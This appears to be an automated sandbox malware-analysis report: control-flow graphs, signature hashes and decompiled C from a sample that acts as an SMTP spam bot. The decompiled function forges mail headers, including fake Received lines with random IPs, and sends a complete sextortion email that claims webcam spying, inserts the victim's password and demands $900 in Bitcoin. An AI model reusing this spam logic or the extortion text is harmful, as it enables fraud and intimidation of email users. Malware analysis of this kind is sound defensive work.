                                                                                                                                                                                                                                                                                                                                                      0x00322966
                                                                                                                                                                                                                                                                                                                                                      0x00322971
                                                                                                                                                                                                                                                                                                                                                      0x00322972
                                                                                                                                                                                                                                                                                                                                                      0x0032297f
                                                                                                                                                                                                                                                                                                                                                      0x00322984
                                                                                                                                                                                                                                                                                                                                                      0x00322989
                                                                                                                                                                                                                                                                                                                                                      0x00322990
                                                                                                                                                                                                                                                                                                                                                      0x00322997
                                                                                                                                                                                                                                                                                                                                                      0x0032299e
                                                                                                                                                                                                                                                                                                                                                      0x003229a4
                                                                                                                                                                                                                                                                                                                                                      0x003229aa
                                                                                                                                                                                                                                                                                                                                                      0x003229ac
                                                                                                                                                                                                                                                                                                                                                      0x003229b2
                                                                                                                                                                                                                                                                                                                                                      0x003229b8
                                                                                                                                                                                                                                                                                                                                                      0x003229c1
                                                                                                                                                                                                                                                                                                                                                      0x003229c6
                                                                                                                                                                                                                                                                                                                                                      0x003229cb
                                                                                                                                                                                                                                                                                                                                                      0x003229d1
                                                                                                                                                                                                                                                                                                                                                      0x003229d8
                                                                                                                                                                                                                                                                                                                                                      0x003229de
                                                                                                                                                                                                                                                                                                                                                      0x003229df
                                                                                                                                                                                                                                                                                                                                                      0x003229e4
                                                                                                                                                                                                                                                                                                                                                      0x003229e9
                                                                                                                                                                                                                                                                                                                                                      0x003229ee
                                                                                                                                                                                                                                                                                                                                                      0x003229f3
                                                                                                                                                                                                                                                                                                                                                      0x003229f8
                                                                                                                                                                                                                                                                                                                                                      0x00322a11
                                                                                                                                                                                                                                                                                                                                                      0x00322a17
                                                                                                                                                                                                                                                                                                                                                      0x00322a1c
                                                                                                                                                                                                                                                                                                                                                      0x00322a21
                                                                                                                                                                                                                                                                                                                                                      0x00322a2e
                                                                                                                                                                                                                                                                                                                                                      0x00322a30
                                                                                                                                                                                                                                                                                                                                                      0x00322a36
                                                                                                                                                                                                                                                                                                                                                      0x00322a72
                                                                                                                                                                                                                                                                                                                                                      0x00322a77
                                                                                                                                                                                                                                                                                                                                                      0x00322a78
                                                                                                                                                                                                                                                                                                                                                      0x00322a78
                                                                                                                                                                                                                                                                                                                                                      0x00322a38
                                                                                                                                                                                                                                                                                                                                                      0x00322a38
                                                                                                                                                                                                                                                                                                                                                      0x00322a38
                                                                                                                                                                                                                                                                                                                                                      0x00322a39
                                                                                                                                                                                                                                                                                                                                                      0x00322a3c
                                                                                                                                                                                                                                                                                                                                                      0x00322a3e
                                                                                                                                                                                                                                                                                                                                                      0x00322a49
                                                                                                                                                                                                                                                                                                                                                      0x00322a4b
                                                                                                                                                                                                                                                                                                                                                      0x00322a4b
                                                                                                                                                                                                                                                                                                                                                      0x00322a4c
                                                                                                                                                                                                                                                                                                                                                      0x00322a4c
                                                                                                                                                                                                                                                                                                                                                      0x00322a49
                                                                                                                                                                                                                                                                                                                                                      0x00322a4f
                                                                                                                                                                                                                                                                                                                                                      0x00322a53
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00322a59
                                                                                                                                                                                                                                                                                                                                                      0x00322a60
                                                                                                                                                                                                                                                                                                                                                      0x00322a6a
                                                                                                                                                                                                                                                                                                                                                      0x00322a7f
                                                                                                                                                                                                                                                                                                                                                      0x00322a6c
                                                                                                                                                                                                                                                                                                                                                      0x00322a6c
                                                                                                                                                                                                                                                                                                                                                      0x00322a6c
                                                                                                                                                                                                                                                                                                                                                      0x00322a80
                                                                                                                                                                                                                                                                                                                                                      0x00322a81
                                                                                                                                                                                                                                                                                                                                                      0x00322a82
                                                                                                                                                                                                                                                                                                                                                      0x00322a8a
                                                                                                                                                                                                                                                                                                                                                      0x00322a8b
                                                                                                                                                                                                                                                                                                                                                      0x00322a90
                                                                                                                                                                                                                                                                                                                                                      0x00322a94
                                                                                                                                                                                                                                                                                                                                                      0x00322a9a
                                                                                                                                                                                                                                                                                                                                                      0x00322a9f
                                                                                                                                                                                                                                                                                                                                                      0x00322aa1
                                                                                                                                                                                                                                                                                                                                                      0x00322aa4
                                                                                                                                                                                                                                                                                                                                                      0x00322aa5
                                                                                                                                                                                                                                                                                                                                                      0x00322aa6
                                                                                                                                                                                                                                                                                                                                                      0x00322aad

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 801014965-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 0deb277aa9b71c1806df867176e5b9666580520f88dfa15a92475b414826e978
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c8c3161849995d9935e6015e4dbe8ebc245edafacecc0dab62b78b4c0dc7275f
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0deb277aa9b71c1806df867176e5b9666580520f88dfa15a92475b414826e978
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 79416FB1940764FFDB32DFA4EC45AAA7BBCFB09710F20411EE452976A1DB744942CB60
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00321BBD Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 218 321bbd-321bcc StrStrA 219 321bf0-321c0a wsprintfA 218->219 220 321bce-321bee wsprintfA 218->220 221 321c10-321c2c call 321120 219->221 220->221 224 321c3a-321c41 221->224 225 321c2e-321c35 221->225 226 3222f3 224->226 225->226 228 321b2a-321b2e 226->228 229 3222f8-322314 shutdown closesocket 226->229 228->229 231 321b34-321b44 call 321160 228->231 232 32231a-322320 229->232 234 321b49-321b59 231->234 235 321b60-321b7f call 3211c0 234->235 236 321b5b 234->236 239 321b81 235->239 240 321b86-321ba5 235->240 236->229 239->229 240->226 241 321bab 240->241 241->226
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: wsprintf$closesocketshutdown
                                                                                                                                                                                                                                                                                                                                                      • String ID: EHLO %s$HELO %s$[102.129.143.78]
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4205972133-2778707148
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a7dbc50d6ac3cba1cde3c1d07cb49cdb938a1413887f612cdf7a36d5f0df01ba
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 74cedbe7e0cb87254827252826ec525d7fdd19cccd66efda7bb722a7d1462232
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a7dbc50d6ac3cba1cde3c1d07cb49cdb938a1413887f612cdf7a36d5f0df01ba
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F02162B5E00338EFCF12CBA0ED45BEEB378BB58304F0045A9E20AA6140E7795655CF59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00321C46 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 242 321c46-321ca9 call 3218d0 wsprintfA * 2 call 321120 247 321cb7-321cbe 242->247 248 321cab-321cb2 242->248 249 3222f3 247->249 248->249 251 321b2a-321b2e 249->251 252 3222f8-322314 shutdown closesocket 249->252 251->252 254 321b34-321b44 call 321160 251->254 255 32231a-322320 252->255 257 321b49-321b59 254->257 258 321b60-321b7f call 3211c0 257->258 259 321b5b 257->259 262 321b81 258->262 263 321b86-321ba5 258->263 259->252 262->252 263->249 264 321bab 263->264 264->249
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 92%
                                                                                                                                                                                                                                                                                                                                                      			E00321C46(void* __eflags) {
				void* _t171;
				void* _t176;
				intOrPtr _t180;
				char* _t181;
				void* _t189;
				void* _t207;
				void* _t209;
				void* _t213;
				void* _t215;

				L0:
				while(1) {
					L0:
					_t171 = E003218D0(_t189, __eflags, _t207 - 0x4c8); // executed
					wsprintfA(_t207 - 0x88, "<JohnBlue@%s>", _t171);
					 *((intOrPtr*)(_t207 - 0x4cc)) = wsprintfA(_t207 - 0x490, "MAIL FROM: %s\r\n", _t207 - 0x88);
					_t176 = E00321120( *((intOrPtr*)(_t207 - 0x1c)), _t207 - 0x490,  *((intOrPtr*)(_t207 - 0x4cc))); // executed
					_t213 = _t209 + 0x28;
					if(_t176 != 0) {
						 *(_t207 - 0x20) = 4;
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t207 - 0x20) != 0 &&  *(_t207 - 0x20) != 8) {
						_t180 = E00321160( *((intOrPtr*)(_t207 - 0x1c)), _t207 - 0x490, 0x400); // executed
						_t215 = _t213 + 0xc;
						 *((intOrPtr*)(_t207 - 0x90)) = _t180;
						if( *((intOrPtr*)(_t207 - 0x90)) != 0) {
							L5:
							 *((char*)(_t207 +  *((intOrPtr*)(_t207 - 0x90)) - 0x490)) = 0;
							_t181 = E003211C0(_t207 - 0x490);
							_t213 = _t215 + 4;
							__eflags = _t181;
							if(_t181 != 0) {
								L7:
								 *(_t207 - 0x758) =  *(_t207 - 0x20);
								 *(_t207 - 0x758) =  *(_t207 - 0x758) - 1;
								__eflags =  *(_t207 - 0x758) - 6;
								if(__eflags > 0) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t207 - 0x758) * 4 +  &M00322324))) {
									case 0:
										L9:
										_push("ESMTP");
										_t184 = StrStrA(_t207 - 0x490);
										__eflags = _t184;
										if(_t184 == 0) {
											_t185 = wsprintfA(_t207 - 0x490, "HELO %s\r\n", "[102.129.143.78]");
											_t216 = _t213 + 0xc;
											 *(_t207 - 0x494) = _t185;
										} else {
											_t188 = wsprintfA(_t207 - 0x490, "EHLO %s\r\n", "[102.129.143.78]");
											_t216 = _t213 + 0xc;
											 *(_t207 - 0x494) = _t188;
										}
										_t187 = E00321120( *((intOrPtr*)(_t207 - 0x1c)), _t207 - 0x490,  *(_t207 - 0x494)); // executed
										_t213 = _t216 + 0xc;
										__eflags = _t187;
										if(_t187 != 0) {
											 *(_t207 - 0x20) = 3;
										} else {
											 *(_t207 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										goto L0;
									case 3:
										L18:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x4d0) = __eax;
										__eax =  *(__ebp - 0x4d0);
										__ecx = __ebp - 0x490;
										__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4d0)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										L21:
										__eax =  *(__ebp - 0x1c);
										__eax = E00321120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										L24:
										__ecx = __ebp - 0x658;
										E00321320(__ebp - 0x658, 5, __ebp - 0x658) = wsprintfA(__ebp - 0x538, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x750 = E00321490(0, __ebp - 0x750, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x6d0;
										__eax = E00321490(0, __ebp - 0x6d0, 0); // executed
										__eax = __ebp - 0x538;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t57 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t61 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t65 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t69 = __eax % 0xd2;
										E00321390(0xd2, 7, __ebp - 0x6e8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t69 + 1, _t65 + 1, _t61 + 1, _t57 + 1, __ebp - 0x538, __ebp - 0x6d0);
										__esp = __esp + 0x24;
										 *(__ebp - 0x754) = __eax;
										__ecx =  *(__ebp - 0x754);
										__eax =  *(__ebp - 0x1c);
										__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											__ecx = __ebp - 0x750;
											E00321320(__ecx, 3, __ebp - 0x664) = __ebp - 0x6dc;
											__eax = E00321320(__ecx, 5, __ebp - 0x6dc);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x754) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
											__eflags = __eax;
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: John Blue %s\r\n", __ebp - 0x88);
												__esp = __esp + 0xc;
												 *(__ebp - 0x754) = __eax;
												__ecx =  *(__ebp - 0x754);
												__eax =  *(__ebp - 0x1c);
												__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
												__eflags = __eax;
												if(__eax != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x754) = __eax;
													__eax =  *(__ebp - 0x754);
													__ecx = __ebp - 0x490;
													__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
													__eflags = __eax;
													if(__eax != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x754) = __eax;
														__ecx =  *(__ebp - 0x754);
														__eax =  *(__ebp - 0x1c);
														__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
														__eflags = __eax;
														if(__eax != 0) {
															__ecx = __ebp - 0x6d0;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x6d0);
															__esp = __esp + 0xc;
															 *(__ebp - 0x754) = __eax;
															__eax =  *(__ebp - 0x754);
															__ecx = __ebp - 0x490;
															__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
															__eflags = __eax;
															if(__eax != 0) {
																__eax = __ebp - 0x538;
																__ecx = __ebp - 0x664;
																E00321320(__ecx, 6, __ecx) = E00321320(__ecx, 6, __ebp - 0x6dc);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x538);
																__esp = __esp + 0x14;
																 *(__ebp - 0x754) = __eax;
																__ecx =  *(__ebp - 0x754);
																__eax =  *(__ebp - 0x1c);
																__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
																__eflags = __eax;
																if(__eax != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	__eax = E00321120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff); // executed
																	__eflags = __eax;
																	if(__eax != 0) {
																		__eax = E00321120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
																		__eflags = __eax;
																		if(__eax != 0) {
																			__ebp - 0x640 = memset(__ebp - 0x640, 0, 0x104);
																			__ecx = __ebp - 0x640;
																			strcpy(__ebp - 0x640, "Hi, today there are sadly some bad news for you.\r\n\r\n") = strcat(__ebp - 0x640, "Your device was infected with my private malware, your browser wasn\'t updated / patched, in such case it\'s enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit.\r\n\r\n");
																			__ebp - 0x640 = strcat(__ebp - 0x640, "My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "If you think this is some bad joke, no, I know your password: ") = __ebp - 0x640;
																			__eax = strcat(__ebp - 0x640,  *(__ebp + 0xc));
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "After that I removed my malware to not leave any traces and this email was sent from some hacked server.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "The only way to stop me, is to pay exactly 900$ in Bitcoin (BTC).\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "It\'s a very good offer, compared to all that horrible shit that will happen if I publish everything.\r\n\r\n") =  *(__ebp - 0x1c);
																			__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x640, 0xffffffff); // executed
																			__eflags = __eax;
																			if(__eax != 0) {
																				__ecx = __ebp - 0x640;
																				memset(__ebp - 0x640, 0, 0x104) = strcpy(__ebp - 0x640, "You can easily buy Bitcoin (BTC) here: www.paxful.com , www.coingate.com , www.coinbase.com , or check for Bitcoin (BTC) ATM near you, or Google for other exchanger.\r\n\r\n");
																				__ebp - 0x640 = strcat(__ebp - 0x640, "You can send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine.\r\n\r\n");
																				__ecx = __ebp - 0x640;
																				__ebp - 0x640 = strcat(__ebp - 0x640, "I give you 3 days time to pay.\r\n\r\n");
																				__ecx = __ebp - 0x640;
																				__ebp - 0x640 = strcat(__ebp - 0x640, "ClientMailID: ");
																				__ecx = __ebp - 0x64c;
																				E00321320(__ebp - 0x64c, 7, __ebp - 0x64c) = strcat(__ebp - 0x640, __eax);
																				__ebp - 0x640 = strcat(__ebp - 0x640, "\r\n.\r\n");
																				__ecx = __ebp - 0x640;
																				__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x640, 0xffffffff); // executed
																				__eflags = __eax;
																				if(__eax != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										L47:
										 *(__ebp - 0x1c) = E00321120( *(__ebp - 0x1c), "QUIT", 0xffffffff); // executed
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t207 - 8) = 0 |  *(_t207 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t207 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t207 - 0x1c)));
					return  *(_t207 - 8);
				}
			}












                                                                                                                                                                                                                                                                                                                                                      0x00321c46
                                                                                                                                                                                                                                                                                                                                                      0x00321c46
                                                                                                                                                                                                                                                                                                                                                      0x00321c46
                                                                                                                                                                                                                                                                                                                                                      0x00321c4d
                                                                                                                                                                                                                                                                                                                                                      0x00321c62
                                                                                                                                                                                                                                                                                                                                                      0x00321c87
                                                                                                                                                                                                                                                                                                                                                      0x00321c9f
                                                                                                                                                                                                                                                                                                                                                      0x00321ca4
                                                                                                                                                                                                                                                                                                                                                      0x00321ca9
                                                                                                                                                                                                                                                                                                                                                      0x00321cb7
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003222f3
                                                                                                                                                                                                                                                                                                                                                      0x00321b44
                                                                                                                                                                                                                                                                                                                                                      0x00321b49
                                                                                                                                                                                                                                                                                                                                                      0x00321b4c
                                                                                                                                                                                                                                                                                                                                                      0x00321b59
                                                                                                                                                                                                                                                                                                                                                      0x00321b60
                                                                                                                                                                                                                                                                                                                                                      0x00321b66
                                                                                                                                                                                                                                                                                                                                                      0x00321b75
                                                                                                                                                                                                                                                                                                                                                      0x00321b7a
                                                                                                                                                                                                                                                                                                                                                      0x00321b7d
                                                                                                                                                                                                                                                                                                                                                      0x00321b7f
                                                                                                                                                                                                                                                                                                                                                      0x00321b86
                                                                                                                                                                                                                                                                                                                                                      0x00321b89
                                                                                                                                                                                                                                                                                                                                                      0x00321b98
                                                                                                                                                                                                                                                                                                                                                      0x00321b9e
                                                                                                                                                                                                                                                                                                                                                      0x00321ba5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321bab
                                                                                                                                                                                                                                                                                                                                                      0x00321bb1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321bb8
                                                                                                                                                                                                                                                                                                                                                      0x00321bb8
                                                                                                                                                                                                                                                                                                                                                      0x00321bc4
                                                                                                                                                                                                                                                                                                                                                      0x00321bca
                                                                                                                                                                                                                                                                                                                                                      0x00321bcc
                                                                                                                                                                                                                                                                                                                                                      0x00321c01
                                                                                                                                                                                                                                                                                                                                                      0x00321c07
                                                                                                                                                                                                                                                                                                                                                      0x00321c0a
                                                                                                                                                                                                                                                                                                                                                      0x00321bce
                                                                                                                                                                                                                                                                                                                                                      0x00321bdf
                                                                                                                                                                                                                                                                                                                                                      0x00321be5
                                                                                                                                                                                                                                                                                                                                                      0x00321be8
                                                                                                                                                                                                                                                                                                                                                      0x00321be8
                                                                                                                                                                                                                                                                                                                                                      0x00321c22
                                                                                                                                                                                                                                                                                                                                                      0x00321c27
                                                                                                                                                                                                                                                                                                                                                      0x00321c2a
                                                                                                                                                                                                                                                                                                                                                      0x00321c2c
                                                                                                                                                                                                                                                                                                                                                      0x00321c3a
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321cc3
                                                                                                                                                                                                                                                                                                                                                      0x00321cc3
                                                                                                                                                                                                                                                                                                                                                      0x00321cd3
                                                                                                                                                                                                                                                                                                                                                      0x00321cd9
                                                                                                                                                                                                                                                                                                                                                      0x00321cdc
                                                                                                                                                                                                                                                                                                                                                      0x00321ce2
                                                                                                                                                                                                                                                                                                                                                      0x00321ce9
                                                                                                                                                                                                                                                                                                                                                      0x00321cf4
                                                                                                                                                                                                                                                                                                                                                      0x00321cfc
                                                                                                                                                                                                                                                                                                                                                      0x00321cfe
                                                                                                                                                                                                                                                                                                                                                      0x00321d0c
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321d18
                                                                                                                                                                                                                                                                                                                                                      0x00321d1f
                                                                                                                                                                                                                                                                                                                                                      0x00321d23
                                                                                                                                                                                                                                                                                                                                                      0x00321d2b
                                                                                                                                                                                                                                                                                                                                                      0x00321d2d
                                                                                                                                                                                                                                                                                                                                                      0x00321d3b
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321d47
                                                                                                                                                                                                                                                                                                                                                      0x00321d47
                                                                                                                                                                                                                                                                                                                                                      0x00321d65
                                                                                                                                                                                                                                                                                                                                                      0x00321d6b
                                                                                                                                                                                                                                                                                                                                                      0x00321d79
                                                                                                                                                                                                                                                                                                                                                      0x00321d86
                                                                                                                                                                                                                                                                                                                                                      0x00321d8e
                                                                                                                                                                                                                                                                                                                                                      0x00321d97
                                                                                                                                                                                                                                                                                                                                                      0x00321da6
                                                                                                                                                                                                                                                                                                                                                      0x00321dad
                                                                                                                                                                                                                                                                                                                                                      0x00321db2
                                                                                                                                                                                                                                                                                                                                                      0x00321db3
                                                                                                                                                                                                                                                                                                                                                      0x00321db8
                                                                                                                                                                                                                                                                                                                                                      0x00321db8
                                                                                                                                                                                                                                                                                                                                                      0x00321dbe
                                                                                                                                                                                                                                                                                                                                                      0x00321dc3
                                                                                                                                                                                                                                                                                                                                                      0x00321dc4
                                                                                                                                                                                                                                                                                                                                                      0x00321dc9
                                                                                                                                                                                                                                                                                                                                                      0x00321dc9
                                                                                                                                                                                                                                                                                                                                                      0x00321dcf
                                                                                                                                                                                                                                                                                                                                                      0x00321dd4
                                                                                                                                                                                                                                                                                                                                                      0x00321dd5
                                                                                                                                                                                                                                                                                                                                                      0x00321dda
                                                                                                                                                                                                                                                                                                                                                      0x00321dda
                                                                                                                                                                                                                                                                                                                                                      0x00321de0
                                                                                                                                                                                                                                                                                                                                                      0x00321de5
                                                                                                                                                                                                                                                                                                                                                      0x00321de6
                                                                                                                                                                                                                                                                                                                                                      0x00321deb
                                                                                                                                                                                                                                                                                                                                                      0x00321e08
                                                                                                                                                                                                                                                                                                                                                      0x00321e0f
                                                                                                                                                                                                                                                                                                                                                      0x00321e15
                                                                                                                                                                                                                                                                                                                                                      0x00321e18
                                                                                                                                                                                                                                                                                                                                                      0x00321e1e
                                                                                                                                                                                                                                                                                                                                                      0x00321e2c
                                                                                                                                                                                                                                                                                                                                                      0x00321e30
